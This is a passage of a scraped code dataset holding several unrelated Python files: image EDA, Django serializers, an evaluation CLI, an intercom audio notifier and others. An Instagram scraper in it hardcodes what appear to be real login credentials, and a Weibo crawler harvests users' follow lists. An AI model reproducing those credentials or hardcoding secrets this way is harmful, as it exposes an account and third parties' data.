ax=axs[0])\n\n# Log version\n\nplott = sns.lineplot(x=df_image_count_all_ind['landmark_id'], y=df_image_count_all_ind['Number'], data=df_image_count_all_ind, color='green', alpha=0.5, ax=axs[1])\n\nplott.set(yscale=\"log\")\n\n\n\nplt.savefig('landmark_id_distribution_nonlog_log.png', dpi=100)\n\n\n\nplt.show()\nimport cv2\n\n\n\nplt.rcParams[\"axes.grid\"] = False\n\nfig, axs = plt.subplots(4, 4, figsize=(23, 23))\n\n\n\ncurr_row = 0\n\n\n\nfor i in range(0,16):\n\n    example = cv2.imread(test_list[i])\n\n    example = example[:,:,::-1]\n\n    \n\n    col = i%4\n\n    \n\n    ## Add title information\n\n    axs[i//4, i%4].set_title('{}/{}/{}/{}'.format(\n\n        test_list[i].split('/')[-4],\n\n        test_list[i].split('/')[-3],\n\n        test_list[i].split('/')[-2],\n\n        test_list[i].split('/')[-1]))\n\n    \n\n    ## Plot n x m images\n\n    axs[col, curr_row].imshow(example)\n\n    \n\n    if col == 3:\n\n        curr_row += 1\n\n    \n\nplt.savefig('some_data_images.png', dpi=100)\n\n\n\nplt.show()","repo_name":"aorursy/new-nb-5","sub_path":"muhakabartay_glr2020-google-landmark-retrieval-eda-full.py","file_name":"muhakabartay_glr2020-google-landmark-retrieval-eda-full.py","file_ext":"py","file_size_in_byte":6158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29169203623","text":"from selenium import webdriver\nimport time\nimport warnings\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nimport re# pymongo를 임포트 하기(패키지 인스톨 먼저 해야겠죠?)\n\nclient = MongoClient('localhost', 27017)  # mongoDB는 27017 포트로 돌아갑니다.\ndb = client.project\ndriver = webdriver.Chrome('chromedriver.exe')\ndriver.implicitly_wait(3)\nwarnings.filterwarnings(action='ignore')\ndriver.get('https://www.instagram.com/accounts/login/')\n\ntime.sleep(3)\n\ndriver.find_element_by_name('username').send_keys('01050083203')\ndriver.find_element_by_name('password').send_keys('eogkrtod12')\n\ntime.sleep(3)\n# 로그인버튼 누르기\ndriver.find_element_by_xpath('//*[@id=\"loginForm\"]/div/div[3]/button').click()\n# 버튼누르기\ndriver.find_element_by_xpath('//*[@id=\"react-root\"]/section/main/div/div/div/section/div/button').click()\n# 버튼 누르기\ndriver.find_element_by_xpath('/html/body/div[4]/div/div/div/div[3]/button[1]').click()\ntime.sleep(3)\n\ndriver.get('https://www.instagram.com/explore/tags/제주도돈까스맛집')\ntime.sleep(3)\n\nopening = driver.find_element_by_css_selector('div.v1Nh3.kIKUG._bz0w') # 맨 첫번째 게시물 클릭\nopening.click()\n\ntime.sleep(3)\n\nfor i in range(100):\n    time.sleep(2)\n    data = driver.find_element_by_css_selector('.C7I1f.X7jCj,.eo2As')# 해시태크값 가져오기\n    # data가 없는 경우 다음으로 넘어가기\n    if data is None:\n        continue\n    tag_raw = data.text\n    tags = re.findall('#[A-Za-z0-9가-힣]+', tag_raw)\n    tag = ''.join(tags).replace(\"#\", \" \")\n    if tag is None:\n        continue\n    tag_data = tag.split()\n    next = driver.find_element_by_css_selector(\"a._65Bje.coreSpriteRightPaginationArrow\") # 다음 게시물로 넘어가기 클릭\n    next.click()\n    print(tag_data)\n    db.제주도돈까스맛집.insert_one({\n        'tag':tag_data,\n        'local' : '제주도',\n        'food' : '돈까스맛집'\n    })","repo_name":"9500guswn/1.--","sub_path":"app3_db가져오는거2.py","file_name":"app3_db가져오는거2.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41151959428","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n__title__  = '深层爬取微博用户的关注列表，再爬取关注列表中的每一个用户的关注列表'\n__author__ = 'zhang'\n__mtime__  = '2017/11/2'\n\n              ┏┓      ┏┓\n            ┏┛┻━━━┛┻┓\n            ┃      ☃      ┃\n            ┃  ┳┛  ┗┳  ┃\n            ┃      ┻      ┃\n            ┗━┓      ┏━┛\n                ┃      ┗━━━┓\n                ┃  神兽保佑    ┣┓\n                ┃　永无BUG！   ┏┛\n                ┗┓┓┏━┳┓┏┛\n                  ┃┫┫  ┃┫┫\n                  ┗┻┛  ┗┻┛\n\"\"\"\nimport re\nimport traceback\n\nimport time\n\nimport os\nfrom lxml import etree\n\nimport requests\n\n# from . import get-agency-ip\n\n'''\n以下三个变量请自己根据实际情况进行修改\n'''\nDEPTH = 2   # 深度：每爬取一层关注列表 +1。2的意思就是 除爬取种子用户的关注列表之外，还会爬关注列表中每个用户的关注列表\n\nuser_id = '5341308489'  # 种子用户。你可以改成你想要开始的任意合法的用户id\ncookie = {\n    \"Cookie\": \"\"}  # 将 \"\" 中替换成自己的cookie，cookie的获取办法可百度\n\ndef get_weibo_friends(uid):\n    '''\n    根据目标的UID获取此用户的关注列表\n    :param uid:   目标用户uid\n    :return:  生成一个 uid+'friends.txt'的文本，里面存储了此用户的关注用户uid\n    '''\n    pageflag = 0       # 第几页\n    myUid = uid        # uid\n    weiboFriends = 1   # 为了循环预设的值\n    friendsL = []\n    try:\n        filename = myUid + 'friends.txt'       # 此uid的关注列表存放路径\n        with open(filename, 'w+') as f:\n            while weiboFriends:\n                pageflag += 1\n                url = 'https://weibo.cn/%s/follow?page=%d' % (myUid, pageflag)\n                print('url: ', url)\n                print('请等待2秒钟...')\n                time.sleep(2)\n                print('正在爬取第%d页' % pageflag)\n                try:\n                    '''这里暂时没有用代理IP，关于代理IP的代码参考：\n                                    get-agency-ip.py中get_ip_status_requests()方法\n                    具体的代理IP的使用放到了后面关于图片下载部分\n                    '''\n                    html = requests.get(url, cookies=cookie, timeout=20)\n                except Exception as e:\n                    print('出错的链接： ', url + '已自动略过...\\n')\n                    print('Error: ', e)\n                    continue\n\n                seletor = etree.HTML(html.content)\n                weiboFriends = seletor.xpath('//table//tr/td[1]/a[1]/@href')\n                # print('weibofriends: ', weibofriends)\n                print('正在写入%s文件...' % filename)\n                for friend in weiboFriends:\n                    # friendUid = re.match(r'^(http://weibo.cn[\\/.]{0,2}/)([\\d\\w]*)$', friend)\n                    if friend != ['']:\n                        friendUidTemp = re.split(r'[/]+', friend)\n                        friendUid = friendUidTemp[len(friendUidTemp) - 1]\n                        print(friendUid)\n                        friendsL.append(friendUid)\n                        f.write(friendUid + '\\n')\n\n        return friendsL\n    except Exception as e:\n        print('Error: ', e)\n        traceback.print_exc()\n\ndef filter_file(path):\n    '''\n    部分用户没有关注，所以会生成一个大小为0的无效文件，所以需删除目录下大小为0kb的无效文件\n    :param path:目录\n    :return:  无\n    '''\n    try:\n        for oneFile in os.listdir(path):\n            onePathfile = os.path.join(path, oneFile)\n            if os.path.exists(onePathfile):\n                if not os.path.getsize(onePathfile):\n                    os.remove(onePathfile)\n                    print('删除大小为0的无效文件：', oneFile)\n        return True\n    except Exception as e:\n        print('Error: ', e)\n\ndef friends_get(uid):\n    '''\n    非递归实现，循环调用 get_weibo_friends()方法,理解原理就好\n    :param uid:   用户uid\n    :return:    无\n    '''\n    oneUid = uid\n    # 第一层\n    friendsL1 = get_weibo_friends(oneUid)\n    # 第二层\n    for f1 in friendsL1:\n        friendsL2 = get_weibo_friends(f1)\n        # 第三层\n        for f2 in friendsL2:\n            friendsL3 = get_weibo_friends(f2)\n            # 第四层\n            # for f3 in friendsL3:\n                # friendsL4 = get_weibo_friends(f3)\n                    # ...不断循环\n\ndef loop_dynamic_get(friendsL, depth=0):\n    '''\n    递归实现，递归调用 get_weibo_friends()\n    :param friendsL:  一个list,原始种子用户以单元素list存在。例：['5341308489']\n    :param depth: 一个积累的变量，无需理会\n    :return:  无\n    '''\n    for f in friendsL:\n        if depth < DEPTH:\n            friendsLs = get_weibo_friends(f)\n            return loop_dynamic_get(friendsLs, depth+1)\n\nif __name__ == '__main__':\n    # friends_get(user_id)\n    # 结果会在代码目录下 生成一个friends的目录，里面以 uid+friends.txt  为文件名，存储了各个用户的关注列表\n    loop_dynamic_get([user_id])\n    path = os.path.join(os.path.abspath('.'), 'friends')\n    print(path)\n    filter_file(path)\n","repo_name":"Lightupdown/sina-wiebo-spiders","sub_path":"get_weibo_friends.py","file_name":"get_weibo_friends.py","file_ext":"py","file_size_in_byte":5354,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"36274741949","text":"import argparse\nimport json\nimport logging\nimport os\nimport pprint\nimport sys\nfrom pathlib import Path\n\nfrom dotenv import load_dotenv\n\nfrom services.evaluation.asr.evaluate import evaluate as evaluate_asr\nfrom services.evaluation.asr.test_set import DATASETS as ASR_DATASETS\nfrom services.evaluation.st.evaluate import evaluate as evaluate_st\nfrom services.evaluation.st.test_set import DATASETS as ST_DATASETS\nfrom services.evaluation.translation.evaluate import evaluate as evaluate_mt\nfrom services.evaluation.translation.test_set import DATASETS as MT_DATASETS\nfrom services.post_translation.interface import PostTranslationConfig\nfrom services.speech_translation import SpeechTranslationConfig\nfrom services.translation.interface import TranslationConfig\n\nDEFAULT_DATASET_DIR = Path(__file__).parent / \"data/\"\nif not os.path.isfile(\"../.env\"):\n    raise FileNotFoundError(\"could not find .env, run from backend directory\")\nload_dotenv(dotenv_path=\"../.env\")\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Evaluation of ASR, MT, and speech translation systems. \"\n        + \"Specify one or more of ASR, MT, or ST to run, \"\n        + \"or evaluate all if unspecified.\"\n    )\n    parser.add_argument(\n        \"--dataset_dir\",\n        \"-d\",\n        type=Path,\n        default=DEFAULT_DATASET_DIR,\n        help=f\"Directory storing datasets, defaults to {DEFAULT_DATASET_DIR}\",\n    )\n    parser.add_argument(\n        \"--asr\", \"-a\", action=\"store_true\", help=\"Run evaluation for ASR?\"\n    )\n    parser.add_argument(\n        \"--asr-datasets\", nargs=\"*\", default=ASR_DATASETS, choices=ASR_DATASETS\n    )\n    parser.add_argument(\n        \"--mt\", \"-t\", action=\"store_true\", help=\"Run evaluation for MT?\"\n    )\n    parser.add_argument(\n        \"--mt-datasets\", nargs=\"*\", default=MT_DATASETS, choices=MT_DATASETS\n    )\n    parser.add_argument(\n        \"--st\", \"-s\", action=\"store_true\", help=\"Run evaluation for speech translation?\"\n    )\n    parser.add_argument(\n        \"--st-datasets\",\n        nargs=\"*\",\n        default=ST_DATASETS,\n        help=\"Specify a speech-translation dataset.  If --only_predict is set, then you may also\"\n        \"specify asr-datasets here, but must append a '-<language>' suffix to the asr dataset name\"\n        \"to specify the target translation language of the asr-dataset, e.g. 'aishell-1-en'\",\n    )\n    parser.add_argument(\n        \"--config\",\n        \"-c\",\n        type=Path,\n        default=Path(__file__).parent / \"configs/default.json\",\n        help=\"Services configuration file\",\n    )\n    parser.add_argument(\n        \"--name\",\n        type=str,\n        default=\"test\",\n        help=\"Name used to identify this evaluation run. Outputs will be saved to outputs/{name}\",\n    )\n    parser.add_argument(\n        \"--overwrite\",\n        action=\"store_true\",\n        help=\"Whether to overwrite existing files in output_dir\",\n    )\n    parser.add_argument(\n        \"--first-n\",\n        type=int,\n        default=-1,\n        help=\"Specifies to only use the first N samples of the test set. \"\n        + \"Ignored if output has already been computed, unless --overwrite is also specified.\",\n    )\n    parser.add_argument(\n        \"--num-workers\",\n        type=int,\n        default=1,\n        help=\"Number of parallel workers to run\",\n    )\n    parser.add_argument(\n        \"--no-simulate-realtime\",\n        action=\"store_true\",\n        default=False,\n        help=\"Disable the feature which simulates the real scenario by \"\n        \"inserting a short time interval between ASR requests.\",\n    )\n    parser.add_argument(\n        \"--only-predict\",\n        action=\"store_true\",\n        default=False,\n        help=\"Only generate predictions, don't run evaluation scorers. Currently only supported \"\n        \"for speech translation evaluations. If set, you may specify asr-datasets for speech-\"\n        \"translation, but you must append a '-<language>' suffix to the asr dataset name in order \"\n        \"to specify the target translation language of the asr-dataset, e.g. 'aishell-1-en'\",\n    )\n    parser.add_argument(\"--no-wandb\", action=\"store_true\")\n    parser.add_argument(\"--verbose\", action=\"store_true\")\n\n    return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n    # Load command line args\n    args = parse_args()\n\n    # Initialize logger\n    logger = logging.getLogger(\"evaluation\")\n    logger.setLevel(level=logging.DEBUG if args.verbose else logging.INFO)\n    console = logging.StreamHandler()\n    console.setLevel(level=logging.DEBUG if args.verbose else logging.INFO)\n    logger.addHandler(console)\n\n    # Set up output dir\n    output_dir = Path(__file__).parent / \"outputs\" / args.name\n    output_dir.mkdir(parents=True, exist_ok=True)\n    logger.info(\"Outputs will be saved to/read from: %s\" % output_dir)\n\n    # Save config file or reload from output_dir\n    config_path = output_dir / \"config.json\"\n    if not os.path.isfile(\"../.env\"):\n        raise FileNotFoundError(\"could not find .env, run from backend directory\")\n    load_dotenv(dotenv_path=\"../.env\")\n\n    config = SpeechTranslationConfig()\n\n    if (config_path.exists() and args.overwrite) or not config_path.exists():\n        config.deep_update_with_json_config(args.config)\n        with open(config_path, \"w\") as config_file:\n            json.dump(config.to_dict(), config_file)\n    else:\n        config.deep_update_with_json_config(config_path)\n        logger.info(\n            f\"Found existing config file at {config_path}, ignoring provided config \"\n            + \"(use --overwrite to change this)\"\n        )\n    logger.info(f\"Running with {args.num_workers} parallel workers\")\n    logger.info(\"Evaluating using config:\\n %s\" % pprint.pformat(config.to_dict()))\n\n    evaluate_all = not (args.asr or args.mt or args.st)\n\n    if args.asr or evaluate_all:\n        evaluate_asr(\n            args.name,\n            config.asr,\n            args.dataset_dir,\n            args.asr_datasets,\n            output_dir / \"asr\",\n            args.first_n,\n            args.num_workers,\n            overwrite=args.overwrite,\n            save_wandb=not args.no_wandb,\n            no_simulate_realtime=args.no_simulate_realtime,\n        )\n\n    if args.mt or evaluate_all:\n        score = evaluate_mt(\n            args.name,\n            config.translation,\n            args.dataset_dir,\n            args.mt_datasets,\n            output_dir / \"translation\",\n            args.first_n,\n            overwrite=args.overwrite,\n            save_wandb=not args.no_wandb,\n        )\n\n    if args.st or evaluate_all:\n        assert args.only_predict or len(\n            set(ST_DATASETS).intersection(args.st_datasets)\n        ) == len(args.st_datasets)\n        score = evaluate_st(\n            args.name,\n            config,\n            args.dataset_dir,\n            args.st_datasets,\n            output_dir / \"st\",\n            args.first_n,\n            args.num_workers,\n            overwrite=args.overwrite,\n            save_wandb=not args.no_wandb,\n            no_simulate_realtime=args.no_simulate_realtime,\n            only_predict=args.only_predict,\n        )\n","repo_name":"didi/MeetDot","sub_path":"backend/src/services/evaluation/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":7071,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"22"}
+{"seq_id":"75128874934","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time    : 2019/8/14 14:39\n# @Author  : Xuegod Teacher For\n# @File    : 01_excel_test.py\n# @Software: PyCharm\nimport xlsxwriter\n\n\nworkbook = xlsxwriter.Workbook('demo.xlsx')\n\nworksheet = workbook.add_worksheet()\nworksheet2 = workbook.add_worksheet('Python')\nworksheet3 = workbook.add_worksheet(\"data\")\nworksheet4 = workbook.add_worksheet()\n\nworksheet.set_column('A:E',20)\n\nblod = workbook.add_format({'bold':True})\n\nworksheet.write('A1','hello')\nworksheet.write('A2','world',blod)\nworksheet.write('B2','中文测试',blod)\n\nworksheet.write(2,0,32)\nworksheet.write(3,0,35.5)\nworksheet.write(4,0,'=SUM(A3:A4)')\n\n# worksheet.insert_image('A3','meinv.jpg')\n\nworkbook.close()","repo_name":"zhanxinjie/pthon","sub_path":"test/excel/01_excel_test.py","file_name":"01_excel_test.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20380936133","text":"from rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\n\nfrom . import crud, models\n\n\nclass ElevatorSystemSerializer(serializers.ModelSerializer):\n    \"\"\"\n    Serializer for the ElevatorSystem model.\n    \"\"\"\n\n    class Meta:\n        model = models.ElevatorSystem\n        fields = [\"id\", \"name\", \"no_of_floors\"]\n\n    def validate(self, data):\n        \"\"\"\n        Validate the no_of_floors field to ensure it is an integer.\n\n        Args:\n            data (dict): The input data.\n\n        Raises:\n            ValidationError: If no_of_floors is not an integer.\n\n        Returns:\n            dict: The validated data.\n        \"\"\"\n        no_of_floors = data[\"no_of_floors\"]\n        if not isinstance(no_of_floors, int):\n            raise ValidationError(\n                {\"success\": False, \"data\": {\"error\": \"no_of_floors must be an integer\"}}\n            )\n\n        return super().validate(data)\n\n    def create(self, data):\n        \"\"\"\n        Create an ElevatorSystem instance and associated elevators.\n\n        Args:\n            data (dict): The input data.\n\n        Returns:\n            dict: The input data.\n        \"\"\"\n        data[\"elevators\"] = self.initial_data[\"elevators\"]\n        elevator_system = crud.create_elevator_system(\n            name=data[\"name\"], no_of_floors=data[\"no_of_floors\"]\n        )\n        crud.create_n_elevators(\n            no_of_elevators=data[\"elevators\"], elevator_system=elevator_system\n        )\n        return elevator_system\n\n    def to_representation(self, instance):\n        \"\"\"\n        Transform the representation of an ElevatorSystem instance.\n\n        Args:\n            instance: The ElevatorSystem instance.\n\n        Returns:\n            dict: The transformed representation.\n        \"\"\"\n        data = super().to_representation(instance)\n        responseData = {\"success\": True}\n        try:\n            data[\"elevators-count\"] = self.initial_data[\"elevators\"]\n        except:\n            data[\"elevators-count\"] = crud.get_elevators_count_from_elevator_system(\n                elevator_system_id=data[\"id\"]\n            )\n        responseData[\"data\"] = data\n        return data\n\n\nclass ElevatorSerializer(serializers.ModelSerializer):\n    \"\"\"\n    Serializer for the Elevator model.\n    \"\"\"\n\n    class Meta:\n        model = models.Elevator\n        fields = \"__all__\"\n\n    def to_representation(self, instance):\n        \"\"\"\n        Transform the representation of an Elevator instance.\n\n        Args:\n            instance: The Elevator instance.\n\n        Returns:\n            dict: The transformed representation.\n        \"\"\"\n        data = super().to_representation(instance)\n        elevator_system = models.ElevatorSystem.objects.filter(\n            id=data[\"elevator_system\"]\n        ).first()\n        responseData = {\"success\": True}\n        data[\"elevator_system\"] = ElevatorSystemSerializer(elevator_system).data\n        responseData[\"data\"] = data\n        return responseData\n\n\nclass ElevatorRequestSerializer(serializers.ModelSerializer):\n    \"\"\"\n    Serializer for the ElevatorRequest model.\n    \"\"\"\n\n    class Meta:\n        model = models.ElevatorRequest\n        fields = [\n            \"elevator\",\n            \"elevator_system\",\n            \"to_floor\",\n            \"from_floor\",\n            \"request_status\",\n        ]\n        extra_kwargs = {\n            \"elevator\": {\"read_only\": True, \"required\": False},\n        }\n\n    def validate(self, data):\n        \"\"\"\n        Validate the from_floor and to_floor fields.\n\n        Args:\n            data (dict): The input data.\n\n        Raises:\n            ValidationError: If from_floor is equal to to_floor.\n\n        Returns:\n            dict: The validated data.\n        \"\"\"\n        if data[\"from_floor\"] == data[\"to_floor\"]:\n            raise ValidationError(\n                {\"success\": False, \"data\": {\"error\": \"You are at the same floor\"}}\n            )\n        return super().validate(data)\n\n    def create(self, data):\n        \"\"\"\n        Create an ElevatorRequest instance and find the closest available elevator.\n\n        Args:\n            data (dict): The input data.\n\n        Returns:\n            models.ElevatorRequest: The created ElevatorRequest instance.\n        \"\"\"\n        from_floor = data[\"from_floor\"]\n        to_floor = data[\"to_floor\"]\n        elevator_system = data[\"elevator_system\"]\n\n        closest_elevator = crud.get_closest_available_elevator(\n            from_floor=from_floor, elevator_system=elevator_system\n        )\n        create_elevator_request = crud.create_elevator_request(\n            to_floor=to_floor,\n            from_floor=from_floor,\n            closest_elevator=closest_elevator,\n            elevator_system=elevator_system,\n        )\n\n        return create_elevator_request\n\n    def to_representation(self, instance):\n        \"\"\"\n        Transform the representation of an ElevatorRequest instance.\n\n        Args:\n            instance: The ElevatorRequest instance.\n\n        Returns:\n            dict: The transformed representation.\n        \"\"\"\n        data = super().to_representation(instance)\n        responseData = {\"success\": True}\n        responseData[\"data\"] = data\n        return responseData\n","repo_name":"ClawedCatalyst/jumpingminds-task","sub_path":"core/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70069566136","text":"from os import strerror\n\n\nclass Loader:\n    def __init__(self):\n        self.container = []\n\n    def load(self, file_name, parser):\n        try:\n            for line in open(file_name, 'r'):\n\n                parsed_line = parser.parse(line)\n\n                if parsed_line:\n                    self.container.append(parsed_line)\n\n            return self.container\n\n        except IOError as e:\n            print(\"I/O error occurred: \", strerror(e.errno))\n","repo_name":"eRGiBi/ComponentStoragePython","sub_path":"File/Loader.py","file_name":"Loader.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4167544774","text":"# labeled TIME_SERIES ('data.txt', label = 'string') example\nimport os\nd0 = os.path.dirname(os.path.realpath(__file__))\n\n# create SOLFEC object and bulk material\nsolfec = SOLFEC ('DYNAMIC', 1E-3, 'out/labeled-ts')\nmat = BULK_MATERIAL (solfec, model = 'KIRCHHOFF',\n      young = 1E9, poisson = 0.3, density = 1E3)\n\n# create labeled time series object\ntms = TIME_SERIES (d0+'/ts-data-1.txt', label = 'data-1')\n\n# create 10 rigid spheres following along the y-direction\n# the time series based displacement history; note that\n# in this case, because the time series object was labeled,\n# only a single copy of the time series object will be used\n# internally - saving memory; should 'tms' be unlabeled 10\n# separate data sets would be used;\nfor i in range (0, 10):\n  sph = SPHERE ((i, 0, 0), 0.4, 1, 1)\n  bod = BODY (solfec, 'RIGID', sph, mat)\n  SET_DISPLACEMENT (bod, (i, 0, 0), (0, 1, 0), tms)\n\n# create constraints solver and run simulation\nslv = NEWTON_SOLVER()\nRUN (solfec, slv, 1.0)\n","repo_name":"parmes/solfec-1.0","sub_path":"examples/time-series/labeled-ts.py","file_name":"labeled-ts.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"}
+{"seq_id":"12062113646","text":"import logging\nfrom datetime import datetime\n\nfrom tdp.core.models.deployment_log import DeploymentLog\nfrom tdp.core.models.operation_log import OperationLog\nfrom tdp.core.models.service_log import ServiceLog\nfrom tdp.core.runner.executor import StateEnum\n\nlogger = logging.getLogger(\"tdp\").getChild(\"operation_runner\")\n\n\nclass OperationRunner:\n    \"\"\"Run operations\"\"\"\n\n    def __init__(self, dag, executor, service_managers):\n        self.dag = dag\n        self._executor = executor\n        self._service_managers = service_managers\n\n    def run(self, operation, operation_file):\n        logger.debug(f\"Running operation {operation}\")\n\n        start = datetime.utcnow()\n        state, logs = self._executor.execute(operation_file)\n        end = datetime.utcnow()\n\n        if not StateEnum.has_value(state):\n            logger.error(\n                f\"Invalid state ({state}) returned by {self._executor.__class__.__name__}.run('{operation_file}'))\"\n            )\n            state = StateEnum.FAILURE\n        elif not isinstance(state, StateEnum):\n            state = StateEnum(state)\n\n        return OperationLog(\n            operation=operation, start=start, end=end, state=state.value, logs=logs\n        )\n\n    def _run_operations(self, operation_names):\n        for operation_name in operation_names:\n            operation = self.dag.operations[operation_name]\n            if not operation.noop:\n                operation_file = self.dag.collections[\n                    operation.collection_name\n                ].operations[operation_name]\n                operation_log = self.run(operation_name, operation_file)\n                if operation_log.state == StateEnum.FAILURE.value:\n                    logger.error(f\"Operation {operation_name} failed !\")\n                    yield operation_log\n                    return\n                logger.info(f\"Operation {operation_name} success\")\n                yield operation_log\n\n    def _services_from_operations(self, operation_names):\n        \"\"\"Returns a set of services from an operation list\"\"\"\n        return {\n            self.dag.operations[operation_name].service\n            for operation_name in operation_names\n            if not self.dag.operations[operation_name].noop\n        }\n\n    def _build_service_logs(self, operation_logs):\n        services = self._services_from_operations(\n            operation_log.operation for operation_log in operation_logs\n        )\n        return [\n            ServiceLog(\n                service=self._service_managers[service_name].name,\n                version=self._service_managers[service_name].version,\n            )\n            for service_name in services\n        ]\n\n    def run_nodes(self, sources=None, targets=None, node_filter=None):\n        operation_names = self.dag.get_operations(sources=sources, targets=targets)\n\n        if hasattr(node_filter, \"search\"):\n            operation_names = self.dag.filter_operations_regex(\n                operation_names, node_filter\n            )\n        elif node_filter:\n            operation_names = self.dag.filter_operations_glob(\n                operation_names, node_filter\n            )\n\n        start = datetime.utcnow()\n        operation_logs = list(self._run_operations(operation_names))\n        end = datetime.utcnow()\n\n        filtered_failures = filter(\n            lambda operation_log: operation_log.state == StateEnum.FAILURE.value,\n            operation_logs,\n        )\n\n        state = StateEnum.FAILURE if any(filtered_failures) else StateEnum.SUCCESS\n\n        service_logs = self._build_service_logs(operation_logs)\n        return DeploymentLog(\n            sources=sources,\n            targets=targets,\n            filter=str(node_filter),\n            start=start,\n            end=end,\n            state=state.value,\n            operations=operation_logs,\n            services=service_logs,\n        )\n","repo_name":"bridgecrew-perf6/tdp-lib","sub_path":"tdp/core/runner/operation_runner.py","file_name":"operation_runner.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"17590260100","text":"import pyaudio\nimport math\nimport struct\nimport wave\nimport sys\nimport os\nfrom time import sleep, time\nimport base64\nimport hmac\nimport hashlib\nimport requests\nfrom datetime import datetime\nimport json\nimport emoji\n\n# Assuming Energy threshold upper than 30 dB\nThreshold = 100\n\nSHORT_NORMALIZE = (1.0/32768.0)\nchunk = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 48000\nswidth = 2\nMax_Seconds = 5\nTimeoutSignal = ((RATE / chunk * Max_Seconds) + 2)\nsilence = True\nFileNameTmp = 'intercom_audio.wav'\nTime = 0\nall = []\n\n\ndef sendNotifications():\n    # Send Notifications Including Mobile & Alexa (Also Flash LiFiX Light - Visual Indication When At Desk)\n    print(\"[Intercom Monitor] - Sending Notification\")\n\n    currentTime = datetime.now()\n    payload = {\"token\": 'INSERT_TOKEN', \"user\": 'USER_TOKEN', \"title\": 'Intercom Alert',\n               \"message\": emoji.emojize(':bell:') + ' Intercom Called @ ' + str(currentTime) + emoji.emojize(':bell:')}\n\n    try:\n        r = requests.post('https://api.pushover.net/1/messages.json', json=payload,\n                          headers={'Content-Type': 'application/json'})\n        if r.status_code != 200:\n            print('[Intercom Monitor] - Pushover API Response Error', r.status_code)\n        else:\n            print('[Intercom Monitor] - Notifications Sent')\n    except requests.exceptions.HTTPError as err:\n        raise SystemExit(err)\n\n    # LiFix API Pulse\n    token = \"LiFIX_TOKEN\"\n    headers = {\n        \"Authorization\": \"Bearer %s\" % token,\n    }\n\n    data = {\n        \"period\": 2,\n        \"cycles\": 5,\n        \"color\": \"green\",\n    }\n\n    requests.post(\n        'https://api.lifx.com/v1/lights/all/effects/pulse', data=data, headers=headers)\n\n    # Send to Alexa API\n    requests.get('https://api.virtualbuttons.com/v1?virtualButton=1&accessCode=ACESS_CODE')\n\n\ndef isIntercom():\n    access_key = \"ACESS_KEY\"\n    access_secret = \"ACESS_SECRET\"\n    requrl = \"http://identify-eu-west-1.acrcloud.com/v1/identify\"\n\n    http_method = \"POST\"\n    http_uri = \"/v1/identify\"\n    # default is \"fingerprint\", it's for recognizing fingerprint, if you want to identify audio, please change data_type=\"audio\"\n    data_type = \"audio\"\n    signature_version = \"1\"\n    timestamp = time()\n\n    string_to_sign = http_method+\"\\n\"+http_uri+\"\\n\"+access_key + \\\n        \"\\n\"+data_type+\"\\n\"+signature_version+\"\\n\"+str(timestamp)\n\n    sign = base64.b64encode(\n        hmac.new(access_secret, string_to_sign, digestmod=hashlib.sha1).digest())\n\n    # suported file formats: mp3,wav,wma,amr,ogg, ape,acc,spx,m4a,mp4,FLAC, etc\n    # File size: < 1M , You'de better cut large file to small file, within 15 seconds data size is better\n    # f = open(sys.argv[1], \"rb\")\n    sample_bytes = os.path.getsize(sys.argv[1])\n\n    files = [\n        ('sample', ('intercom_audio.wav', open('intercom_audio.wav', 'rb'), 'audio/mpeg'))\n    ]\n    data = {'access_key': access_key,\n            'sample_bytes': sample_bytes,\n            'timestamp': str(timestamp),\n            'signature': sign,\n            'data_type': data_type,\n            \"signature_version\": signature_version}\n\n    r = requests.post(requrl, files=files, data=data)\n    jsonResponse = json.loads(r.text)\n\n    print(jsonResponse)\n\n    if (jsonResponse['status']['msg'] == 'Success'):\n        # Intercom Has Been Called\n        print('\\033[92m' +\n              '[Intercom Monitor] - Intercom Called!' + '\\033[0m')\n        sendNotifications()\n    else:\n        print('[Intercom Monitor] - No Call')\n\n\ndef GetStream(chunk):\n    return stream.read(chunk)\n\n\ndef rms(frame):\n    count = len(frame)/swidth\n    format = \"%dh\" % (count)\n    # short is 16 bit int\n    shorts = struct.unpack(format, frame)\n\n    sum_squares = 0.0\n    for sample in shorts:\n        n = sample * SHORT_NORMALIZE\n        sum_squares += n*n\n    # compute the rms\n    rms = math.pow(sum_squares/count, 0.5)\n    return rms * 1000\n\n\ndef WriteSpeech(WriteData):\n    stream.stop_stream()\n    # stream.close()\n    # p.terminate()\n    wf = wave.open(FileNameTmp, 'wb')\n    wf.setnchannels(CHANNELS)\n    wf.setsampwidth(p.get_sample_size(FORMAT))\n    wf.setframerate(RATE)\n    wf.writeframes(WriteData)\n    wf.close()\n\n\ndef KeepRecord(TimeoutSignal, LastBlock):\n    global all\n    all.append(LastBlock)\n    for i in range(0, TimeoutSignal):\n        try:\n            data = GetStream(chunk)\n        except:\n            continue\n        # I chage here (new Ident)\n        all.append(data)\n\n    print(\"[Intercom Monitor] - Recording Complete\")\n    data = ''.join(all)\n    print(\"[Intercom Monitor] - Writing To File\")\n    